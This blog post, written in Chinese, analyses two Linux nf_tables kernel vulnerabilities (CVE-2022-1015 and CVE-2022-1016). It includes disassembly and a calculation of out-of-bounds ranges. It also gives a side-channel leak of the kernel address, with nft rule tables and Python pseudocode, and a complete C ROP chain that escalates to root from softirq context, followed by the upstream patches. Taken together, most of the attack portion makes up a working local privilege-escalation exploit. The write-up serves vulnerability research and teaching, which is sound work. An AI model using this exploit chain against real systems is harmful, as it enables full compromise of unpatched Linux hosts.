问题:在 nft_validate_register_load() 中形参定义为enum nft_registers reg,那么传进来的值还是32位的吗?编译器会不会将该参数的data type进行优化呢,因为 enum nft_registers 的范围是0~15。

GCC manual 中写道,整数类型和枚举类型兼容,如果枚举中没有负值,则type通常是unsigned int,否则是int。如果加上编译选项 -fshort-enums,如果有负值,则依次优化为 signed char / short / int ,否则为 usigned char / short / int。 有些内核上,-fshort-enums 选项是默认的;但一般有没有该编译选项是由ABI和优化level来决定的。

那么我们编译的内核默认有没有加上编译选项 -fshort-enums呢?最直接的办法是看汇编。

0000000000001b60 <nft_parse_register_load>:
    1b60:	e8 00 00 00 00       	call   1b65 <nft_parse_register_load+0x5>
    1b65:	55                   	push   rbp
    1b66:	8b 47 04             	mov    eax,DWORD PTR [rdi+0x4]
    1b69:	0f c8                	bswap  eax
    1b6b:	89 c7                	mov    edi,eax
    1b6d:	8d 48 fc             	lea    ecx,[rax-0x4]
    1b70:	c1 e7 04             	shl    edi,0x4
    1b73:	48 89 e5             	mov    rbp,rsp
    1b76:	c1 ef 02             	shr    edi,0x2
    1b79:	83 f8 04             	cmp    eax,0x4
    1b7c:	89 f8                	mov    eax,edi
    1b7e:	0f 47 c1             	cmova  eax,ecx
    1b81:	85 d2                	test   edx,edx
    1b83:	74 13                	je     1b98 <nft_parse_register_load+0x38>
    1b85:	83 f8 03             	cmp    eax,0x3
    1b88:	76 0e                	jbe    1b98 <nft_parse_register_load+0x38>
    1b8a:	8d 14 82             	lea    edx,[rdx+rax*4]			# [1]  !!! 内联实现的 nft_validate_register_load() 直接将 nft_parse_register_load() 的返回值拿来用
    1b8d:	83 fa 50             	cmp    edx,0x50
    1b90:	77 0d                	ja     1b9f <nft_parse_register_load+0x3f>
    1b92:	88 06                	mov    BYTE PTR [rsi],al
    1b94:	5d                   	pop    rbp
    1b95:	31 c0                	xor    eax,eax
    1b97:	c3                   	ret    
    1b98:	b8 ea ff ff ff       	mov    eax,0xffffffea
    1b9d:	5d                   	pop    rbp
    1b9e:	c3                   	ret    
    1b9f:	b8 de ff ff ff       	mov    eax,0xffffffde
    1ba4:	5d                   	pop    rbp
    1ba5:	c3                   	ret    

分析nft_validate_register_load() 函数调用是内联在其中的,相关的计算位于 1b8a。rax是 nft_parse_register() 的返回值,rdx 是len,rsi是 sreg指针。所以reg还是32位,并没有优化变短

nft_parse_register_store() 也有相同的漏洞,由于register位于栈上,所以导致stack OOB,这样就能覆写返地址。

测试: register设为 0xfffffffb,length设为0x20,那么 [2-1] 处则为 0xfffffffb * 4 + 0x20 = 0x0c < 0x50,经过验证后, (u8)0xfffffffb = 0xfb 会被写到 *sreg

问题:是否存在一个 expression 传入的 len 可以导致溢出呢?最后找到 nft_bitwisenft_payload 都可以让我们传递自定义的length,范围是 0~0xff。其他的expression都使用了很小的写死的 length。

现在很有希望了,下一步是看看怎么利用这些原语。

4-2 检查利用原语

目标:看看漏洞能够提供哪些利用原语。

导致溢出的reg值范围:这里有三种值都可以导致整数溢出,因为要乘以4 = 2^2: 2^32 - 1, 2^31 - 1 , 2^30 - 1,所以可以用这三种值 0xffffffff / 0x7fffffff / 0x3fffffff 。这些值作为前缀都可以导致溢出,唯一的限制是,传给 nft_validate_register_load() 函数的reg值不能超过 0xfffffffbnft_parse_register() 函数中会减4)。

这三类前缀值都有同样的溢出效果,关键在于最低字节的构造,原因如下,效果都一样:

0xfffffff0 * 4 = 0xffffffc0
0x7ffffff0 * 4 = 0xffffffc0
0x3ffffff0 * 4 = 0xffffffc0

可用的2个expression:现在开始,我们选择用 0x7fffffff 附近的值。之前我们分析了 nft_payloadnft_bitwise 这两个 expresseion,它们的特性如下:

  • nft_payload 可以产生OOB write,nft_bitwise 可以产生 OOB write 和 OOB read。
  • nft_payload 可以溢出最多0xff字节并写任意值。
  • nft_bitwise 最多写0x40字节并写任意值,可以读0x40字节的栈数据(只能读进某个寄存器,后续还得通过侧信道才能获得寄存器上的值)。
    • 需要提供 sregdreg,都需要通过同一length值的验证;
    • 限制是只有0x40字节的空间,所以如果想从寄存器读写,我们不能通过大于0x40 length 的验证。

nft_bitwise可读写的范围nft_bitwise 最大length 为0x40,意味着 寄存器值乘以4至少为 0xffffffc0,我们乘以4获得的最大值为 0xfffffffb,这样 0xfffffffb + 0x40 = 0x3b <= 0x50 就能通过验证。

  • 寄存器范围如下:
    • 0x7ffffff0 * 4 = 0xffffffc0,写入 sreg 的最低字节 0xf0
    • 0x7fffffff * 4 = 0xfffffffb, 写入 sreg 的最低字节 0xff
    • 更正错误:寄存器值不是最多为 0x7ffffffb吗,nft_parse_register() 函数中会减4 ???????????
      • 正确应该是 0x7ffffffb * 4 = 0xffffffec , 写入 sreg 的最低字节 0xfb。
      • 对应可读写的偏移是 0xfb * 4 + 0x40 = 0x42c
      • 所以能读写的范围是 struct nft_regs 的偏移 [0x3c0, 0x42c] 的内容
  • 转化为 struct nft_regs 中的 byte offset
    • 0xf0 * 4 = 0x3c0
    • 0xff * 4 + 0x40 = 0x43c

所以,nft_bitwise 可以OOB读写 struct nft_regs 的偏移 [0x3c0, 0x43c] 的内容。

nft_payload可写的范围nft_payload 最大length 为 0xff,这样寄存器值乘以4至少得为 0xffffff01;最多得为 0xffffffaf,因为 0xffffffaf + 0xff = 0x50 <= 0x50 。你当然也可以使用小于0xff 的length,寄存器值每减1,就多获得4字节的length。

  • 寄存器范围如下:
    • 0x7fffffc1 * 4 = 0xffffff04:写入 sreg 的最低字节 0xc1
    • 0x7fffffeb * 4 = 0xffffffac:写入 sreg 的最低字节 0xeb
  • 转化为 struct nft_regs 中的 byte offset
    • 0xc1 * 4 = 0x304
    • 0xeb * 4 + 0xff = 0x4ab

所以 nft_payload 能OOB写 struct nft_regs 的偏移 [0x304, 0x4ab] 的内容

栈上可覆写的数据:接下来看看栈上对应的偏移处都有什么数据可以覆盖。有很多调用 nft_do_chain() 的路径,有两个因素会影响栈的布局:

  • chain hook 是设置为 input 还是 output
    • 如果是一个 input chain hook,就会在相应的网络设备的软中断上下文(softirq stack)中触发hook;(PS:此处的栈溢出稍微有点麻烦)
    • 如果是一个 output chain hook,就会在 send* syscall上下文(syscall stack)中触发hook
  • 使用的协议类型
    • 发送 raw IP packet 和发送 UDP packet 有不同的调用栈。

你可以组合不同的协议 / 接口 / hook 位置来获得不同的调用栈(不同的栈上有不同的数据),现在,我们使用UDP packet 和 output chain。当发送UDP packet 到达 output chain hook时,触发 nft_do_chain() 栈溢出时的栈布局情况如下所示:

3-stack_layout_output_udp

4-3 侧信道信息泄露

泄露内核基址:内核基址有 9 bit 的熵变,所以加载位置有512种。最直接的办法是利用 nft_bitwise OOB read 来读取栈数据,但是最多能读取的区间长度是0x7c 字节(作者计算错误,其实是0x6c字节),很难确保能读取到栈基址,幸运的是,这里有两个地址可以泄露栈基址:

4-nft_bitwise_oob_reach

gef  x/bx 0xffffffff815b49c1
0xffffffff815b49c1 <import_iovec+49>:	0xc9
gef  x/bx 0xffffffff819ac3ec
0xffffffff819ac3ec <copy_msghdr_from_user+92>:	0xba

问题:内核地址会被写到寄存器,但是怎么获取到寄存器的值呢?

侧信道:根据内核地址的值,创建rule来 drop或accept packet,就可以通过检查我们发送的包是否也被接收,就能逐渐推算出内核地址的值,过程如下:

  • (1)创建UDP socket来接收 127.0.0.1:9999
    • 需要在不同的线程接收这些packet;
    • 对每个收到的packet,还需要回一个消息;
  • (2)添加一条rule
    • 利用 nft_bitwise 将内核地址拷贝到寄存器;
    • 使用 nft_cmp_expr 来和常量比较;
    • 如果比较为真则 drop packet
  • (3)发送UDP packet 到 127.0.0.1:9999
    • 根据是否收到回发的消息来确定内核地址的信息
  • (4)重复(2)和(3)直到有足够的信息来确定内核地址

5-side_channel

还有一些缺陷,就是回发的消息可能因意外被drop。为了解决这个问题,我们可以添加一些噪音还原,我们需要一个 base chainauxiliary chain

base chain 中的 rule:

#ExpressionArgumentsComment
0nft_payloadbase=NFT_PAYLOAD_TRANSPORT_HEADER offset=offsetof(udphdr, dport) len=sizeof_field(udphdr, dport)将packet目标端口写到 register 8
1nft_cmp_exprop=NFT_CMP_EQ sreg=8 data=9999比较目标端口是否等于 9999, 不等于则发出NFT_BREAK
2nft_payloadbase=NFT_PAYLOAD_INNER_HEADER offset=0 len=8将packet前8字节写到 register 8
3nft_cmp_exprop=NFT_CMP_EQ sreg=8 data=0xdeadbeef0badc0de比较packet前8字节是否等于一个 magic value, 不等于则发出 NFT_BREAK
4nft_immediate_exprverdict=NFT_JUMP chain=aux_chain调用 auxiliary chain

auxiliary chain 中的rule:

#ExpressionArgumentsComment
0nft_bitwiseop=NFT_BITWISE_RSHIFT data=SHIFT_AMT dreg=OOB_OFFSET sreg=8利用OOB read将内核地址写到 register, 移位 SHIFT_AMT bits 以将目标地址的字节写到正确的 register
1nft_cmpop=NFT_CMP_GT sreg=ADDRESS_OFFSET data=COMPARAND比较内核地址字节和 COMPARAND, 如果不相等则发出 NFT_BREAK
2nft_immediateverdict=NFT_DROP如果地址字节大于 COMPARAND 则 drop packet

通过检查目标端口并且比较header的前8字节和 magic value,我们可以对指定的packet进行操作(该packet中包含将要比较的值 COMPARAND)。通过动态修改 COMPARAND,我们可以二分搜索内核地址字节,通过动态修改 SHIFT_AMT 我们可以挪到下一个内核地址字节(每次确定1字节,总共4个字节即可泄露内核基址)。

泄露伪代码:利用python来实施地址泄露。

# 假设第2个线程在从 127.0.0.1:9999 接收 UDP packet, 并且所有必要的 nf_tables 已经设置好了, 例如 table/base/auxiliary chain

def leak_byte(pos):
    s = socket.socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
    s.settimeout(200) # 200ms should be more than enough
    s.bind(("127.0.0.1", 1234))
    
    # search bounds
    low = 0, high = 255
    
    while True:
        mid = (low + high) // 2
        
        # if our search found the value, return it
        if low == high:
            s.close()
            return mid
        
        set_leak_rule(SHIFT_AMT=pos*8, COMPARAND=mid)
        
        # Send packet and trigger the auxiliary chain
        s.sendto(pack(0xdeadbeef0badc0de), ("127.0.0.1", 9999))
        
        # Secondary thread sends back to 127.0.0.1:1234
        res = s.recvfrom(0x2000)
        
        if not res:
            # our packet got dropped, because nothing got sent back in 200ms
            # which means that byte to leak >= mid
            low = mid
        else:
            # sanity check
            if res != b"MSG_OK":
                print("Something went wrong")
                return None
            
            # Our packet got accepted, which means that
            # byte to leak < mid
            high = mid - 1

leak_bytes = lambda: [leak_byte(i*8) for i in range(4)]

4-4 任意代码执行

利用思路

  • nft_payload OOB write 可以将ROP chain写到栈上。问题是在这个特殊的内核上,nft_payload OOB write 总是和 udp_sendmsg() 对齐, udp_sendmsg() 的返回地址在偏移 0x2f8 处,而 nft_payloadnft_bitwise 只能从偏移 0x304 开始写;
  • inet_sendmsg() 的返回地址在偏移 0x4a8 处,我们可以写到这里(覆盖低3字节),但是在偏移 0x458 处有栈canary,所以也不行。(作者另外编译了一个内核,但利用难度增大了,由内联优化导致。)
  • 其他思路,可以覆盖 udp_sendmsg() 的局部变量,或者覆写 verdict chain 指针(使用register值例如 0x7fffff00)。
  • 作者尝试先修改 base chain hook。如果将一个 output chain 修改成 input 会发生什么呢?发送UDP packet 到达 input hook时,nft_do_chain() 中触发OOB时的栈布局情况如下所示(会在软中断上下文(softirq stack)中触发栈溢出):

6-stack_layout_input_udp

绕过canary:我们可以覆盖 __netif_receive_skb_one_core() 的返回地址(偏移 0x328 处),本来应该返回到 __netif_receive_skb(),我们可以使 nft_payload OOB 的下标直接指向返回地址,绕过偏移 0x310 处的canary,偏移 0x328 对应的index为 0xca

触发OOB:为了触发覆盖返回地址,我们在table中创建新的 input chain,并添加rule nft_payload (将packet的 0xff 字节写到 index 0xca 处),发送包含payload的packet即可触发OOB。

7-rip_control_thankgod

ROP目标:我们的ROP chain 长度可以是 0x1a7-0x24=0x183,也就是 48 个gadget,通过修改目标进程的 task_struct 来提权。不仅需要修改cred,还得切换到 root namespace (在用户模式下如果有root权限,也可以调用 switch_task_namespaces() 来切换)。

问题:如何优雅返回?我们已经切换到了 input chain,意味着现在ROP chain在软中断上下文中运行,怎么干净的离开这个上下文并返回到用户空间中呢?不能直接在软中断上下文中调用 bpf_get_current_task() 这种函数来获取当前的 task_struct 。因为软中断可能发生在不同的CPU中,总之,软中断中不存在 current task 这个概念。可能可以通过find_task_by_pid_ns() 来找到指定进程的 task_struct

那能不能强制离开软中断的上下文呢?这样就不用处理 random deadlocks 以及修复被破坏的栈了。

4-4-1 离开 softirq context

目标:目前位于 NET_RX_SOFTIRQ softirq,由特定的虚拟网络接口所触发(只要有packet发到该接口就会触发)。强行离开 softirq 可能会破坏某些数据(例如导致deadlocks),但是当我们转到 root network namespace 时,可以立刻丢掉这个网络接口(避免崩溃和死锁)。

为了弄清如何返回到syscall context,我们先来看看 do_softirq() 函数,也就是调用 __do_softirq() 的地方,也是最终派发 net_rx_action 的地方。

/*
 * Macro to invoke __do_softirq on the irq stack. This is only called from
 * task context when bottom halves are about to be reenabled and soft
 * interrupts are pending to be processed. The interrupt stack cannot be in
 * use here.
 */
#define do_softirq_own_stack()						\
{									\
	__this_cpu_write(hardirq_stack_inuse, true);			\
	call_on_irqstack(__do_softirq, ASM_CALL_ARG0);			\	// call __do_softirq()
	__this_cpu_write(hardirq_stack_inuse, false);			\
}

asmlinkage __visible void do_softirq(void)
{
    __u32 pending;
    unsigned long flags;

    if (in_interrupt())
	    return;

    local_irq_save(flags);

    pending = local_softirq_pending();

    if (pending && !ksoftirqd_running(pending))
        do_softirq_own_stack();					// <----------- do_softirq_own_stack()

    local_irq_restore(flags);
}

asmlinkage __visible void __softirq_entry __do_softirq(void)
{
    
    unsigned long end = jiffies + MAX_SOFTIRQ_TIME;
    unsigned long old_flags = current->flags;
    int max_restart = MAX_SOFTIRQ_RESTART;
    struct softirq_action *h;
    bool in_hardirq;
    __u32 pending;
    int softirq_bit;

    /*
     * Mask out PF_MEMALLOC as the current task context is borrowed for the
     * softirq. A softirq handled, such as network RX, might set PF_MEMALLOC
     * again if the socket is related to swapping.
     */
    current->flags &= ~PF_MEMALLOC;
    pending = local_softirq_pending();

    softirq_handle_begin();
    in_hardirq = lockdep_softirq_start();
	
    account_softirq_enter(current);

    restart:
    /* Reset the pending bitmask before enabling irqs */
    set_softirq_pending(0);
    
    local_irq_enable();

    h = softirq_vec;

    while ((softirq_bit = ffs(pending))) {
        unsigned int vec_nr;
        int prev_count;

        h += softirq_bit - 1;

        vec_nr = h - softirq_vec;
        prev_count = preempt_count();

        kstat_incr_softirqs_this_cpu(vec_nr);

        trace_softirq_entry(vec_nr);
        h->action(h); 					// <---------- net_rx_action is called here
        trace_softirq_exit(vec_nr);
        if (unlikely(prev_count != preempt_count())) {
            pr_err("huh, entered softirq %u %s %p with preempt_count %08x, exited with %08x?\n",
                    vec_nr, softirq_to_name[vec_nr], h->action,
                    prev_count, preempt_count());
            preempt_count_set(prev_count);
        }
        h++;
        pending >>= softirq_bit;
    }

    if (!IS_ENABLED(CONFIG_PREEMPT_RT) &&
        __this_cpu_read(ksoftirqd) == current)
        rcu_softirq_qs();

    local_irq_disable();			// 禁用 irq

    pending = local_softirq_pending();
    if (pending) {
        if (time_before(jiffies, end) && !need_resched() &&
            --max_restart)
            goto restart;

        wakeup_softirqd();
    }

    account_softirq_exit(current);
    lockdep_softirq_end(in_hardirq);
    softirq_handle_end();			// 调整 preempt count
    current_restore_flags(old_flags, PF_MEMALLOC);
}

处理softirq过程:机制比较复杂,主要就是,在 pending softirq 处理完之后,就会调用 local_irq_disable() 禁用该CPU的irq,再调用 softirq_handle_end() 调整 preempt count (参见 this LWN article),在 do_softirq()do_softirq_own_stack 宏中)中恢复旧的 syscall stack。最后,irq被再次使能。

由于是内联实现,所以没有 ROP gadget 能实现 softirq_handle_end() 的功能,所以我们还是得返回到 __do_softirq() 函数中来调用它。我们可以先利用 cli; ret gadget 来执行 local_irq_disable(),跳过 wakeup_softirqd() 事务。

这样的话,我们有几率阻止softirq运行。虽然对利用来说不重要,但可能有其他用。为了修复,我们可以返回到原始返回地址并伪造栈帧。

Dump of assembler code for function __do_softirq:
...
...
    0xffffffff8200019d <+413>:	call   0xffffffff810a8dc0 <wakeup_softirqd>
    0xffffffff820001a2 <+418>:	add    DWORD PTR gs:[rip+0x7e01f9d3],0xffffff00        # 0x1fb80 <__preempt_count>
    0xffffffff820001ad <+429>:	mov    eax,DWORD PTR gs:[rip+0x7e01f9cc]        # 0x1fb80 <__preempt_count>
    0xffffffff820001b4 <+436>:	test   eax,0xffff00
    0xffffffff820001b9 <+441>:	jne    0xffffffff8200028e <__do_softirq+654>
    0xffffffff820001bf <+447>:	mov    edx,DWORD PTR [rbp-0x58]
    0xffffffff820001c2 <+450>:	mov    rax,QWORD PTR gs:0x1fbc0
    0xffffffff820001cb <+459>:	and    edx,0x800
    0xffffffff820001d1 <+465>:	and    DWORD PTR [rax+0x2c],0xfffff7ff
    0xffffffff820001d8 <+472>:	or     DWORD PTR [rax+0x2c],edx
    0xffffffff820001db <+475>:	add    rsp,0x30
    0xffffffff820001df <+479>:	pop    rbx
    0xffffffff820001e0 <+480>:	pop    r12
    0xffffffff820001e2 <+482>:	pop    r13
    0xffffffff820001e4 <+484>:	pop    r14
    0xffffffff820001e6 <+486>:	pop    r15
    0xffffffff820001e8 <+488>:	pop    rbp
    0xffffffff820001e9 <+489>:	ret   

禁用 interrupt 之后,先确保rbp-0x58 指向旧进程的flags—0x400100,再跳转到 __do_softirq() 末尾,接下来我们就能从syscall context继续。

4-4-2 提权并返回到用户态

现在我们从syscall context 返回,ROP 就能继续

  • (1)调用 switch_task_namespaces(current, &init_nsproxy)
  • (2)调用 commit_creds(&init_cred)
  • (3)返回到用户态

bpf_get_current_task() 可以返回当前进程的task_struct (只需要用gadget串起来即可)。

为了返回到用户态,最简单的方法是使用 do_softirq 的结尾将旧的栈指针 pop 到 rsp,然后返回到 syscall stack(利用 gadget add rsp, <offset>; ret) 。这样就不会破坏syscall call stack。

一开始,我们构造好 rcxr11 后直接返回到 syscall_return_via_sysret,但是我们碰到了保护页。所以还是首先运行 __do_softirq 结尾,然后运行提权代码,接着运行 do_softirq 结尾,以缩短payload。

最终的ROP chain 如下:

int i = 0;
#define _rop(x) do { if ((i+1)*8 > rop_length) { puts("ROP TOO LONG"); exit(EXIT_FAILURE);} rop[i++] = (x); } while (0)

// clear interrupts
_rop(kernel_base + CLI_OFF);
    
// make rbp-0x58 point to 0x40010000
// this is just a random place in .text
_rop(kernel_base + POP_RBP_OFF);
_rop(kernel_base + OLD_TASK_FLAGS_OFF + 0x58);
    
/* Cleanly exit softirq and return to syscall context */
_rop(kernel_base + __DO_SOFTIRQ_OFF + 418);
    
// stack frame was 0x60 bytes
for(int j = 0; j < 12; ++j) _rop(0);

/* We're already on 128 bytes here */

// switch_task_namespaces(current, &init_nsproxy)
_rop(kernel_base + BPF_GET_CURRENT_TASK_OFF);
_rop(kernel_base + MOV_RDI_RAX_OFF);
_rop(kernel_base + POP_RSI_OFF);
_rop(kernel_base + INIT_NSPROXY_OFF);
_rop(kernel_base + SWITCH_TASK_NAMESPACES_OFF);

// commit_cred(&init_cred)
_rop(kernel_base + POP_RDI_OFF);
_rop(kernel_base + INIT_CRED_OFF);
_rop(kernel_base + COMMIT_CREDS_OFF);

// pass control to system call stack
// this is offset +0xc0 from our rop chain
// target is at   +0x168
_rop(kernel_base + 0x28b2e4); // add rsp, 0x90; pop rbx; pop rbp; ret

测试截图

succeed

4-5 影响的版本和patch

影响 5.12 (commit 345023b0db31) 到 5.17 (commit 6e1acfa387b9

以下修改引入了漏洞。之前,nft_parse_register 的返回值被隐式的传给 u8 priv->dreg

diff --git a/net/bridge/netfilter/nft_meta_bridge.c b/net/bridge/netfilter/nft_meta_bridge.c
index 8e8ffac037cd4..97805ec424c19 100644
--- a/net/bridge/netfilter/nft_meta_bridge.c
+++ b/net/bridge/netfilter/nft_meta_bridge.c
@@ -87,9 +87,8 @@ static int nft_meta_bridge_get_init(const struct nft_ctx *ctx,
 		return nft_meta_get_init(ctx, expr, tb);
 	}
 
-	priv->dreg = nft_parse_register(tb[NFTA_META_DREG]);
-	return nft_validate_register_store(ctx, priv->dreg, NULL,
-					   NFT_DATA_VALUE, len);
+	return nft_parse_register_store(ctx, tb[NFTA_META_DREG], &priv->dreg,
+					NULL, NFT_DATA_VALUE, len);
 }

补丁如下,在使用之前严格检查输入寄存器。

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index d71a33ae39b35..1f5a0eece0d14 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -9275,17 +9275,23 @@ int nft_parse_u32_check(const struct nlattr *attr, int max, u32 *dest)
 }
 EXPORT_SYMBOL_GPL(nft_parse_u32_check);
 
-static unsigned int nft_parse_register(const struct nlattr *attr)
+static unsigned int nft_parse_register(const struct nlattr *attr, u32 *preg)
 {
 	unsigned int reg;
 
 	reg = ntohl(nla_get_be32(attr));
 	switch (reg) {
 	case NFT_REG_VERDICT...NFT_REG_4:
-		return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+		*preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+		break;
+	case NFT_REG32_00...NFT_REG32_15:
+		*preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+		break;
 	default:
-		return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+		return -ERANGE;
 	}
+
+	return 0;
 }

5. CVE-2022-1016

漏洞分析:还记得 nft_do_chain() 函数吗?expression 使用到了 struct nft_regs 结构,如果你足够细心,你可能在 3-2 中已经发现了本漏洞。寄存器在被使用前没有被清0。在调试CVE-2022-1015 OOB read / write 时很难注意到这一点。

unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
    const struct nft_chain *chain = priv, *basechain = chain;
    const struct net *net = nft_net(pkt);
    struct nft_rule *const *rules;
    const struct nft_rule *rule;
    const struct nft_expr *expr, *last;
    struct nft_regs regs; // <------------------ NEVER INITIALIZED
    unsigned int stackptr = 0;
    struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
    bool genbit = READ_ONCE(net->nft.gencursor);
    struct nft_traceinfo info;

    info.trace = false;
    if (static_branch_unlikely(&nft_trace_enabled))
	    nft_trace_init(&info, pkt, &regs.verdict, basechain);
do_chain:
    if (genbit)
	    rules = rcu_dereference(chain->rules_gen_1);
    else
	    rules = rcu_dereference(chain->rules_gen_0);

next_rule:
    rule = *rules;
    regs.verdict.code = NFT_CONTINUE;
    for (; *rules ; rules++) {
    // Start executing expressions, you know the drill..
        ...
     
    }
    ...       
}

利用思路:利用方法很简单,采用以上相同的技术就能泄露寄存器上的数据,可以使用侧信道,或者 danamic sets (见4-1),或者 nft_payload packet write (见4-5)。

有很多调用栈可以调用 nft_do_chain(),所以 CVE-2022-1016 可以泄露大约512字节的栈数据。

影响版本和补丁:从 3.13-rc1 (commit 96518518cc41) 引入漏洞,也就是引入 nf_tables 的时间,在5.17中修补 (commit 4c905f6740a3)。

diff --git a/net/netfilter/nf_tables_core.c b/net/netfilter/nf_tables_core.c
index 36e73f9828c50..8af98239655db 100644
--- a/net/netfilter/nf_tables_core.c
+++ b/net/netfilter/nf_tables_core.c
@@ -201,7 +201,7 @@ nft_do_chain(struct nft_pktinfo *pkt, void *priv)
 	const struct nft_rule_dp *rule, *last_rule;
 	const struct net *net = nft_net(pkt);
 	const struct nft_expr *expr, *last;
-	struct nft_regs regs;
+	struct nft_regs regs = {};
 	unsigned int stackptr = 0;
 	struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
 	bool genbit = READ_ONCE(net->nft.gencursor);

6. 补充

作者第一次在 softirq中写exp。

libmnl / libnftl 安装

# libmnl
$ ./configure --prefix=/usr && make
$ sudo make install
# libnftl
$ ./configure --prefix=/usr && make
$ sudo make install

常用命令

# 环境安装
$ sudo apt-get install libcap2-bin bzip2 make pkg-config        # 安装 setcap/bzip2/make/pkg-config
$ tar   -jxvf    xx.tar.bz2
$ ./configure --prefix=/usr && make     # libmnl / libnftl
$ sudo make install

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# 编译exp 并赋权
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ setcap "cap_net_bind_service=+ep cap_net_admin=+ep" ./exploit 

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件

$ scp -P 10021 ./libmnl-1.0.5.tar.bz2 ./libnftnl-1.2.2.tar.bz2  hi@localhost:/home/hi/lib
$ scp -P 10021 ./exploit.c ./helpers.c ./helpers.h ./Makefile  hi@localhost:/home/hi

问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img 试试。

# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290

参考

How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables

exploit

https://www.openwall.com/lists/oss-security/2022/03/28/5

文档信息

Search

    Table of Contents